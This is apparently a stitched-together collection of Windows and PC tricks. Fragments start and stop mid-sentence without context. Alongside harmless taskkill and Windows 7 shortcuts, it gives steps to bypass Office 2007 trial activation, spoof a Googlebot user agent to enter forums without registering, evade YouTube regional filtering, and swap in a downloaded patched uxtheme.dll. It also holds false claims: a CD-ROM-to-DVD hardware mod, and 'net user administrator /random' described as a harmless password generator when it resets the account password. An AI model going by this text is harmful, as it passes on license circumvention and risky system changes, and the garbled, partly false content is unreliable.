people trying to send messages via the net message service will get errors.
While you're at it, it might be wise to disable the 'Administrative Alerts' service
as well.

The description Microsoft gives for this service is as follows: "Transmits net
send and Alerter service messages between clients and servers. This service is
not related to windows Messenger. If this service is stopped, Alerter messages
will not be transmitted. If this service is disabled, any services that explicitly
depend on it will fail to start."

Trick-141
Kill Processes from Command
Prompt

I'm sure you are familiar with the traditional way to kill or end a process in
Windows using Task Manager. This method is effective but not nearly as fun as
killing a process in Command Prompt. Additionally, killing processes in
Command Prompt provides much more control and the ability to end multiple
processes at once.

All of this is possible with the TaskKill command. First, let's cover the basics.
You can kill a process by the process ID (PID) or by image name (EXE
filename).

Open up an Administrative level Command Prompt and run tasklist to see all of
the running processes:

C:\>tasklist

Image Name PID Session Name Mem Usage
=========== ============== ========
firefox.exe 26356 Console 139,352 K
regedit.exe 24244 Console 9,768 K
cmd.exe 18664 Console 2,380 K
conhost.exe 2528 Console 7,852 K
notepad.exe 17364 Console 7,892 K
notepad.exe 24696 Console 22,028 K
notepad.exe 25304 Console 5,852 K
explorer.exe 2864 Console 72,232 K
In the example above you can see the image name and the PID for each
process. If you want to kill the firefox process run:

C:\>Taskkill /IM firefox.exe /F

or
C:\>Taskkill /PID 26356 /F

The /f flag is kills the process forcefully. Failure to use the /F flag will result in
nothing happening in some cases. One example is whenever I want to kill the
explorer.exe process I have to use the /F flag or else the process just does not
terminate.

If you have multiple instances of an image open such as multiple firefox.exe
processes, running the taskkill /IM firefox.exe command will kill all instances.
When you specify the PID only the specific instane of firefox will be terminated.

The real power of taskkill are the filtering options that allow you to use the
following variables and operators.

Variables:

*STATUS
* IMAGENAME
* PID
* SESSION
* CPUTIME
* MEMUSAGE
* USERNAME
* MODULES
* SERVICES
* WINDOWTITLE

Operators:

* eq (equals)
* ne (not equal)
* gt (greater than)
* lt (less than)
* ge (greater than or equal)
* le (less than or equal)

"*" is the wildcard.

You can use the variables and operators with the /FI filtering flag. For example,
let's say you want to end all processes that have a window title that starts with
"Internet":
C:\>taskkill /FI "WINDOWTITLE eq Internet*" /F

To learn more about taskkill run it with the /? command just like any other
Windows command

icon = monkey.ico

label = Monkeyweasels USB

Now save this on the root of your USB Drive with the name

autorun.inf

Also place the icon you chose to use in the Root of your USB Drive

Next time you plug in your USB Drive it will appear with the new icon
and name

Hide them by...

* right-clicking both inf file and icon

How to make a file of the size you want

Let us assume you want to make a file of size 10000kb
Convert it to bytes -> 10000*1024 which comes out to be 10240000
bytes

Open calculator (win key+r -> type in calc )
Choose view mode to be Scientific one
Type in 10240000 and convert it to hex it comes out to be 9C4000
Convert this value to 8 digits by padding zeroes to its left -> so finally it
comes out be 009C4000

Open Command Prompt (win key + r -> type in cmd )
Type DEBUG filename.dat
it'll show file not found error ,ignore it
Type RCX -> Enter -> then last four hexadecimal numbers i.e. 4000 -
>Enter
Type RBX -> Enter -> then first four hexadecimal numbers i.e. 009C-
>Enter
Type W ->Enter
Type Q ->Enter

W stands for write and Q for quit

Now check the file you just made by dir command ->dir filename.dat

Using the same technique you can make files as big as you want

you could save them? Well, you can and MS has provided a way for you to do
it.
Here's How:

Enter and Browse any Forum
without registering

Whenever you need any information for which you are eager to know about and
then Forum will ask you to register and login and then only you will be able
to see that thing. You will probably find some another alternative rather than
registering (then let it be free!) to any website. After registering, there is no
guarantee to get complete and correct information so, why not try to get in
and browse everything without registering?

These websites generally doesnt allow unregistered users or guests to enter
but they do allow Google Bot or any other search engine bot to enter for
crawling purposes

You will need to change user agent to Google bot for browsing forums.

What you need is Firefox Browser and User Agent Switcher [Serch On
Google] After installing, create another user agent from the options menu of
the addon.
Select User Agent from the left sidebar and click Add. Now in the description
field type:


Code:

and in user agent field type:

Code:

Googlebot/2.1 (+http://www.googlebot.com/bot.html)
Now Start browsing by selecting the user agent as Google Bot.

Modify Your CD-ROM to Watch DVD
Movies

There are two types of CD-ROM drives we can mod:
24x to 40x
40x or higher

Drives slower than 24x are too old to be modded.

24x to 40x CD ROMs

Laser Head Adjustments:
The track pitch of CDs is 1.6 microns, and the track pitch of DVDs is only 0.8
microns. The minimum length of track pits of CDs is 0.843mm, and the
minimum length of track pits of DVDs is 0.293mm. That's why DVD discs can
store much more data in the size of a CD.

Pinpointing this situation, we need to adjust the laser head so it can read discs
with smaller track pitchs and shorter track pits. Open up the CD-ROM drive, do
you see a lens on the rail? That's the laser head. On the side of the laser head,
there's a screw you can adjust.

This is the key of this mod.
This screw can adjust the size of the laser beam that lands on the disc.
Referring to the above, after adjusting, the laser beam should be less than
0.293mm, to suit the needs of DVD discs. So turn that screw 2-3 times. I got
this number through trial and error. Mark with a pencil, in case you forget how
many times you turned that screw.

Speed adjustments:
DVD-ROM drives can play DVD movies smoothly at 4x speed. If we're modding
a 32x CD-ROM drive, the rotation speed is obviously too high, increasing heat,
and shortening the life of the drive.

So we need to decrease the speed of it.
Most people know that power supplies can provide 5V (red wire) and 12V
(yellow wire) electricity output for Molex connectors. Find the Molex connector
you'll plug into the modded CD-ROM drive, cut the yellow wire or insulate it with
tape, so only 5V of electricity is transferred to the CD-ROM drive. The speed of
the drive is now 32 * 5/17 = 9.41x and can now fulfill our requirements.

40x or higher CD ROMs

When 40x CD-ROM drives are released, most manufacturers are already
producing DVD-ROM drives. To lower cost, they use the same core as DVD-
ROM drives with DVD functions disabled. What we need to do here is to re-
enable the DVD function.
Open up the CD-ROM, behind the circuit board, look for a jumper that says
DVD JUMP. Find a jumper to connect this jumper. Thin metal wire also works
fine.

OK, so the DVD function is unlocked, but we still need to decrease the speed.
Use the instructions above on how to decrase the speed of the drive.

Notes:
Modded drives cannot be detected in POST, that means you cannot use it in
DOS. But once you get into Windows, the drive works fine.
Modded drives have no region code problems.
Modded drives MIGHT NOT read DVD9 discs, that's why I said you can watch
most retail DVDs in the beginning

Recovering Scratched CD's

Heres an easy home remedy, which might give you the desired results. Rub a
small amount of toothpaste on the scratch and polish the CD with a soft cloth
and any petroleum-based polishing solution (like clear shoe polish). Squirt a
drop of Brasso and wipe it with a clean cloth.

Technology to the rescue:There are many softwares available on the net, which
enable the recovery of the CD data. BadCopy Pro is one such software, which
can be used to recover destroyed data and files from a range of media.
Just a few clicks is all it requires to recover the disc from almost all kind of
damage situation; be it corrupted, lost data, unreadable or defective.
DiskDoctors is another popular company, which offers both software and
solutions to recover data from a scratched CDs and DVDs


General Tips:
* Always wipe the CD from the center outward with straight spoke-like strokes.
Wiping CDs in circles will create more scratches.
* Do not scratch the graphics layer as you cannot repair the disc.
HINT: Hold the disc up to a light with the graphics layer facing the light source.
If you can see light thru the scratches at any point then the disc may be
irreparable and or exhibit loading or playing errors.
* Clean your Disc players lens regularly with a suitable product to ensure
optimal viewing pleasure.
* Make sure to use a soft, lint-free cloth to clean both sides of the disc. Wipe in
a straight line from the centre of the disc to the outer edge.
* If wiping with a cloth does not remove a fingerprint or smudge, use a
specialized DVD disc polishing spray to clean the disc.

section. There are 3 different sets: BLUE_STARTBUTTON_BMP,
HOMESTEAD_STARTBUTTON_BMP, AND METALLIC_STARTBUTTON_BMP, for BLUe, OLIVE

To check your exact Windows version, go to Start --> All Programs --> Accessories
--> System Tools --> System Information. On the System Summary page (the
first page shown), look at the line that reads "Hardware Abstraction Layer".
It should say something like (in my case) Version = "5.1.2600.2180

The last four number (.2180 in this example) must match the version of the
pre-patched uxtheme.dll file you download. To check the file version, right-click
the uxtheme.dll file you downloaded and go to Properties --> Version (tab):

The File Version of the file should match the version listed beside Hardware
Abstraction Layer in System Information. Language can be confirmed here
also.

If the file version does not match that of your system, don't copy the file
into your system32 folder. It won't work.

13. Restart your PC in Safe Mode, go to C:\WINDOWS\ system32 and find the file
uxtheme.dll, rename it to uxtheme2.dll (as a backup). Now copy your downloaded
UXtheme.dll file to C:\WINDOWS\ system32.

14. Restart your PC in Normal Mode, Goto Display Properties > Appearance and you will
see two WINDOWS XP STYLE options under WINDOWS AND BUTTONS option..one of them is
yours (probably the first one). Select it, also select your color scheme as Blue (if it is not)

Hidden password generator in Windows
XP

These days it seems as though everybody is a computer security expert, or
needs to be anyway. Picking a good strong password is always a challenge,
and there are many online services that will generate you a very strong
password with letters, numbers, misc characters ($%*&#@!), etc, but did you
know Windows XP has a built-in password generator of its own?

The folks over at Microsoft didnt really make this feature very obvious to find,
namely as it is more of a computer administrator tool than for something a
regular joe would need, but I dont understand why. Something like this would
be very useful, especially if you share a single PC, or have a number of
computers on a network which contain sensitive data, or with the potential for
its security to be breached.

So, how do you find and use it? Simple:
Go to Run on the Start menu and type cmd (without the quotes)
a dos command prompt window will open.
At the command prompt type net user administrator /random (without the
quotes)

Based upon Windows XPs on security rules, it will generate you a fairly solid
password for you to use, that will at least be harder to crack

Pop a banner each time Windows Boots

To pop a banner which can contain any message you want to display
just before a user is going to log on, go to the key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr
entVersion\WinLogon Now create a new string Value in the right pane
named LegalNoticeCaption and enter the value that you want to see in
the Menu Bar. Now create yet another new string value and name it:
LegalNoticeText. Modify it and insert the message you want to display
each time Windows boots. This can be effectively used to display the
company's private policy each time the user logs on to his NT box. It's
.reg file would be: REGEDIT4

Hack to Activate Microsoft Office 2007
Evaluation Trial Version

Most suites or programs of Microsoft Office 2007
allows user to evaluate the product. The trial version of 2007 Microsoft Office
system can be installed by using a 25-character trial product key available from
Microsoft
while you download the free Office software, and you can use the Microsoft
Office 2007 suite or program with full functionality for 60 days.

You may have the Office 2007 CD and are able to install Office 2007 without
entering product key. However, Office 2007 will work in reduced functionality
mode, where its effectively just a viewer for Office documents. Beside, if you
forget the trial product key, or dont wish to register a Windows Live ID to get
the trial key, heres the trick to activate Office 2007, or more correctly, bypass
the activation of Office 2007 60 days trial, and making the trial word disappear
from the Office title at the top and suppress activation and trial expiry prompt.

Note that to use Microsoft Office 2007 beyond 60 days trial period, you need to
purchase a valid license for it, available from Amazon or most computer retail
store.

To use this hack to crack activation on Office 2007, you need to install Office
2007 without any serial number or product key. If you have installed Office
2007 with a product key or serial number, do the following to clean remove
Office 2007 of product key:

1. Close all Microsoft Office applications
.
2. Run Register Editor by clicking on Start -> Run, and then type regedit in the
Open box and press Enter key.
3. Navigate to the following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Office\12.0\ Registration

Note that inside the registry key, there should be another subkey that
resembles the following:

HKEY_LOCAL_MACHINE\Software\Microsoft\Office\12.0\
Registration\{90120000-0030-0000-0000-0000000FF1CE

or

HKEY_LOCAL_MACHINE\Software\Microsoft\Office\12.0\
Registration\{91120000-0011-0000-0000-0000000FF1CE
4. If there is more than one registry entries or subkeys that reference Microsoft
12.0 registration, open up each subkey, and then identify the product by the
ProductName value data until you locate the subkey for the product which you
want to remove the existing product license key.

For example:

ProductName=Microsoft Office Professional Plus 2007
ProductName=Microsoft Office Enterprise 2007
5. Once found the correct registry subkey, delete the following values:

DigitalProductID
ProductID
6. Close Registry Editor.

Once Microsoft Office 2007 has been installed with no product key, proceed
with the following steps:

1. In Windows Explorer, brose to the following folder:

C:\Program Files\Common Files\Microsoft Shared\OFFICE12\Office Setup
Controller\Proof.en\
2. Right click on Proof.XML file, select Open With in the right click menu.
3. In the Open With window, select Notepad to be used to open the XML file.
In Vista, if you cant see the Notepad option, simply double click the Other
Programs to unhide it.
4. Scroll down to the bottom of the Proof.XML to locate the following lines:

</Feature> <Feature Id=SetupXmlFiles Cost=1248>
<OptionRef Id=AlwaysInstalled/>
</Feature>
5. Change the AlwaysInsalled to neverInstalled so that the line looks like
following:

<OptionRef Id=neverInstalled/>
6. Save the Proof.xml file. In Windows Vista, you may need to take ownership
and grant full access permission to yourself before able to modify the file.
7. You can now launch Microsoft Office 2007 application such as Word, Excel,
Powerpoint, Outlook and etc without prompting for activation.

As usual, as its a hack, and before you purchase a valid product key for it, you
wont be able to AND cant access any updates or Microsoft Office Online.

Word 2007 saved files with extension .docx, Excel 2007 with .xlsx and
PowerPoint with .pptx. Now the problem is that when you will try to open office
2007 files into office 2003 and you will not open the file due to compatibility

Some Of Windows 7 Tricks and
Secrets
#1 Windows Management. By now, youve probably seen that
Windows 7 does a lot to make window management easier: you can
dock a window to the left or right half of the screen by simply
dragging it to the edge; similarly, you can drag the window to the top of
the screen to maximize it, and double-click the window top / bottom
border to maximize it vertically with the same horizontal width. What
you might not know is that all these actions are also available with
keyboard shortcuts:

* Win+Left Arrow and Win+Right Arrow dock;
* Win+Up Arrow and Win+Down Arrow maximizes and restores /
minimizes;
* Win+Shift+Up Arrow and Win+Shift+Down Arrow maximizes and
restores the vertical size.

This side-by-side docking feature is particularly invaluable on
widescreen monitors it makes the old Windows way of shift-clicking
on two items in the taskbar and then using the context menu to
arrange them feel really painful





#2 Cut Out The Clutter. Working on a document in a window and want
to get rid of all the extraneous background noise? Simply hit
Win+Home to minimize all the non-active background windows,
keeping the window youre using in its current position. When youre
ready, simply press Win+Home again to restore the background
windows to their original locations.




3.# Multi-Monitor Windows Management. The earlier tip on window
management showed how you can dock windows within a monitor.
One refinement of those shortcuts is that you can use Win+Shift+Left
Arrow and Win+Shift+Right Arrow to move windows from one monitor
to another keeping them in the same relative location to the
monitors top-left origin.




4.# Command Junkies Only. One of the most popular power toys in
Windows XP was Open Command Prompt Here, which enabled you
to use the graphical shell to browse around the file system and then
use the context menu to open a command prompt at the current
working directory. In Windows 7 (and in Windows Vista, incidentally
although not many folk knew about it), you can simply hold the Shift
key down while selecting the context menu to get exactly the same
effect. If the current working directory is a network location, it will
automatically map a drive letter for you.




#5 Its a Global Village. If youve tried to change your desktop
wallpaper, youve probably noticed that theres a set of wallpapers
there that match the locale you selected when you installed Windows.
(If you picked US, youll see beautiful views of Crater Lake in Oregon,
the Arches National Park, a beach in Hawaii, etc.) In fact, there are
several sets of themed wallpapers installed based on the language
you choose, but the others are in a hidden directory. If youre feeling in
an international mood, simply browse to
C:\Windows\Globalization\MCT and youll see a series of pictures
under the Wallpaper directory for each country. Just double-click on
the theme file in the Theme directory to display a rotation through all
the pictures for that country. (Note that some countries contain a
generic set of placeholder art for now.)





#6 The Black Box Recorder. Every developer wishes there was a way
that an end-users could quickly and simply record a repro for the
problem that theyre running into that is unique to their machine.
Windows 7 comes to the rescue! Part of the in-built diagnostic tools
that we use internally to send feedback on the product, the Problem
Steps Recorder provides a simple screen capture tool that enables
you to record a series of actions. Once you hit record, it tracks your
mouse and keyboard and captures screenshots with any comments
you choose to associate alongside them. Once you stop recording, it
saves the whole thing to a ZIP file, containing an HTML-based slide
show of the steps. Its a really neat little tool and I cant wait for it to
become ubiquitous on every desktop! The program is called psr.exe;
you can also search for it from Control Panel under Record steps to
reproduce a problem.

Amazing YouTube Tricks

1. View high quality videos
Youtube gives you the option to switch to high quality videos for some of the
videos, however you can check if a video is available in high quality format by
appending `&fmt=18'(stereo, 480 x 270 resolution) or `&fmt=22'(stereo, 1280
x 720 resolution) for even higher quality.

2. Embed Higher Quality Videos
While the above trick works for playback, if however you want to embed hig
quality videos you need to append "&ap=%2526fmt%3D18" and
"&ap=%2526fmt%3D22" to the embed url.

3. Cut the chase and link to the interesting part
Linking to a video where the real action starts at 3 minutes 22 seconds,
wondered if you could make it start at 03:22? You are in luck. All you have to
do is add #t=03m22s (#t=XXmYYs for XX mins and YY seconds) to the end of
the URL.

4. Hide the search box
The search box appears when you hover over an embedded video. To hide the
search box add `&showsearch=0' to the embed url.

5. Embed only a part of Video
Just append `&start=30' to skip first 30s of the video. In general you can
modify the value after start= to the number of seconds you want to skip the
video for.

6. Autoplay an embedded video
Normally when you embed a Youtube video and load the page, the player is
loaded and it sits there waiting for you to hit the play button. You can make the
video play automatically by adding `&autoplay=1' to the url part of the embed
code.

7. Loop an embedded video
Append `&loop=1' to make the video start again without user intervention after
it reaches the end.

8. Disable Related Videos
Publishing your content in the form of Youtube video? Dont want people to see
other peoples content that may be related but may as well be in competition to
you? Just add `&rel=0' to the end of the url part of the embed code and you
just turned off the related video suggestions!

9. Bypass Youtube Regional Filtering
Some videos are only available in certain parts of the world. Your IP Address is
used to determine your location and then allow or deny access to the video.
Change the url from http://www.youtube.com/watch?v=<somecode> to
http://www.youtube.com/v/<somecode>

10. Download Video
Although not inherently a youtube trick but useful all the same for downloading
videos. Just change youtube to kickyoutube in the url of the video and it will
take you to kickyoutube.com with all the options for downloading the video you
were watching.

Understanding Windows 7's 'GodMode'


Although its name suggests perhaps even grander capabilities, Windows
enthusiasts are excited over the discovery of a hidden "GodMode" feature that
lets users access all of the operating system's control panels from within a
single folder.

By creating a new folder in Windows 7 and renaming it with a certain text
string at the end, users are able to have a single place to do everything from
changing the look of the mouse pointer to making a new hard-drive partition.

The trick is also said to work in Windows Vista, although some are warning
that although it works fine in 32-bit versions of Vista, it can cause 64-bit
versions of that operating system to crash.

To enter "GodMode," one need only create a new folder and then rename the
folder to the following:
Quote:
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
Once that is done, the folder's icon will change to resemble a control panel
and will contain dozens of control options. it is a handy way to get to all kinds
of controls.
